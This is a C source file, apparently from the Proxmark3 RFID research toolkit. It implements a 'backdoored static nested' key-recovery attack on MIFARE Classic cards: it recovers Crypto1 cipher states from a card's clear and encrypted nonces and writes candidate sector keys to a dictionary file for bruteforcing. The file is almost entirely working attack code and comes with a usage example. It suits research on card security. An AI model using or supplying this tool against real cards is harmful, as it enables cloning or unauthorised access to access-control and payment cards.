made a multi threaded version of ht2crack2search since the file lookups should benefi...
[RRG-proxmark3.git] / tools / mfc / card_only / staticnested_1nt.c
blobafd839ad67df4672a2d9df1b219d76c3eb1dbee2
1 // Backdoored Nested Attack
2 //
3 // Attack conditions:
4 // * Backdoor, or a way to know the clear static nested nT
5 //
6 // Strategy:
7 // * Use backdoor on the targeted sector to get the clear static nested nT
8 // * Enumerate key candidates based on clear and encrypted nT
9 // * Use the resulting dictionary to bruteforce the key
11 // Doegox, 2024, cf https://eprint.iacr.org/2024/1275 for more info
13 #include <stdio.h>
14 #include <stdlib.h>
15 #include <string.h>
16 #include <inttypes.h>
17 #include "common.h"
18 #include "crapto1/crapto1.h"
19 #include "parity.h"
21 #define KEY_SPACE_SIZE (1 << 18)
23 typedef struct {
24 uint32_t authuid;
25 uint32_t nt;
26 uint32_t nt_enc;
27 uint8_t nt_par_enc;
28 } NtData;
30 static uint32_t hex_to_uint32(const char *hex_str) {
31 return (uint32_t)strtoul(hex_str, NULL, 16);
34 static int bin_to_uint8_arr(const char *bin_str, uint8_t bit_arr[], uint8_t arr_size) {
35 if (strlen(bin_str) != arr_size) {
36 fprintf(stderr, "Error: Binary string (%s) length does not match array size (%i).\n", bin_str, arr_size);
37 return 1;
40 for (uint8_t i = 0; i < arr_size; i++) {
41 if (bin_str[i] == '0') {
42 bit_arr[i] = 0;
43 } else if (bin_str[i] == '1') {
44 bit_arr[i] = 1;
45 } else {
46 fprintf(stderr, "Error: Invalid character '%c' in binary string.\n", bin_str[i]);
47 return 1;
50 return 0;
53 static uint64_t *generate_keys(uint64_t authuid, uint32_t nt, uint32_t nt_enc, uint32_t nt_par_enc, uint32_t *keyCount) {
54 uint64_t *result_keys = (uint64_t *)malloc(KEY_SPACE_SIZE * sizeof(uint64_t));
55 if (result_keys == NULL) {
56 fprintf(stderr, "\nMalloc error in generate_and_intersect_keys!\n");
57 return NULL;
60 struct Crypto1State *revstate, *revstate_start = NULL, *s = NULL;
61 uint64_t lfsr = 0;
62 uint32_t ks1 = nt ^ nt_enc;
64 revstate = lfsr_recovery32(ks1, nt ^ authuid);
65 if (revstate == NULL) {
66 fprintf(stderr, "\nMalloc error in generate_keys!\n");
67 free(result_keys);
68 return NULL;
70 if (revstate_start == NULL) {
71 revstate_start = revstate;
73 s = crypto1_create(0);
74 if (s == NULL) {
75 fprintf(stderr, "\nMalloc error in generate_keys!\n");
76 free(result_keys);
77 crypto1_destroy(revstate_start);
78 return 0;
80 while ((revstate->odd != 0x0) || (revstate->even != 0x0)) {
81 lfsr_rollback_word(revstate, nt ^ authuid, 0);
82 crypto1_get_lfsr(revstate, &lfsr);
84 // only filtering possibility: last parity bit ks in ks2
85 uint32_t ks2;
86 uint8_t lastpar1, lastpar2, kslastp;
87 crypto1_init(s, lfsr);
88 crypto1_word(s, nt ^ authuid, 0);
89 ks2 = crypto1_word(s, 0, 0);
90 lastpar1 = oddparity8(nt & 0xFF);
91 kslastp = (ks2 >> 24) & 1;
92 lastpar2 = (nt_par_enc & 1) ^ kslastp;
93 if (lastpar1 == lastpar2) {
94 result_keys[(*keyCount)++] = lfsr;
95 if (*keyCount == KEY_SPACE_SIZE) {
96 fprintf(stderr, "No space left on result_keys, abort! Increase KEY_SPACE_SIZE\n");
97 break;
100 revstate++;
102 crypto1_destroy(s);
103 crypto1_destroy(revstate_start);
104 revstate_start = NULL;
105 return result_keys;
108 int main(int argc, char *const argv[]) {
109 if (argc != 6) {
110 int cmdlen = strlen(argv[0]);
111 printf("Usage:\n %s <uid:hex> <sector:dec> <nt:hex> <nt_enc:hex> <nt_par_err:bin>\n"
112 " parity example: if for block 63 == sector 15, nt in trace is 7b! fc! 7a! 5b\n"
113 " then nt_enc is 7bfc7a5b and nt_par_err is 1110\n"
114 "Example:\n"
115 " %*s a13e4902 15 d14191b3 2e9e49fc 1111\n"
116 " %*s +uid +s +nt +nt_enc +nt_par_err\n",
117 argv[0], cmdlen, argv[0], cmdlen, "");
118 return 1;
120 uint64_t *keys = NULL;
121 uint32_t keyCount = 0;
123 uint32_t authuid = hex_to_uint32(argv[1]);
124 uint32_t sector = atoi(argv[2]);
125 uint32_t nt = hex_to_uint32(argv[3]);
126 uint32_t nt_enc = hex_to_uint32(argv[4]);
127 uint8_t nt_par_err_arr[4];
128 if (bin_to_uint8_arr(argv[5], nt_par_err_arr, 4)) {
129 return 1;
131 uint8_t nt_par_enc = ((nt_par_err_arr[0] ^ oddparity8((nt_enc >> 24) & 0xFF)) << 3) |
132 ((nt_par_err_arr[1] ^ oddparity8((nt_enc >> 16) & 0xFF)) << 2) |
133 ((nt_par_err_arr[2] ^ oddparity8((nt_enc >> 8) & 0xFF)) << 1) |
134 ((nt_par_err_arr[3] ^ oddparity8((nt_enc >> 0) & 0xFF)) << 0);
135 printf("uid=%08x nt=%08x nt_enc=%08x nt_par_err=%i%i%i%i nt_par_enc=%i%i%i%i ks1=%08x\n", authuid, nt, nt_enc,
136 nt_par_err_arr[0], nt_par_err_arr[1], nt_par_err_arr[2], nt_par_err_arr[3],
137 (nt_par_enc >> 3) & 1, (nt_par_enc >> 2) & 1, (nt_par_enc >> 1) & 1, nt_par_enc & 1,
138 nt ^ nt_enc);
141 printf("Finding key candidates...\n");
142 keys = generate_keys(authuid, nt, nt_enc, nt_par_enc, &keyCount);
143 printf("Finding phase complete, found %i keys\n", keyCount);
145 FILE *fptr;
146 char filename[30];
147 snprintf(filename, sizeof(filename), "keys_%08x_%02i_%08x.dic", authuid, sector, nt);
149 fptr = fopen(filename, "w");
150 if (fptr != NULL) {
151 if (keyCount > 0) {
152 for (uint32_t j = 0; j < keyCount; j++) {
153 fprintf(fptr, "%012" PRIx64 "\n", keys[j]);
156 fclose(fptr);
157 } else {
158 fprintf(stderr, "Warning: Cannot save keys in %s\n", filename);
160 if (keys != NULL) {
161 free(keys);
163 return 0;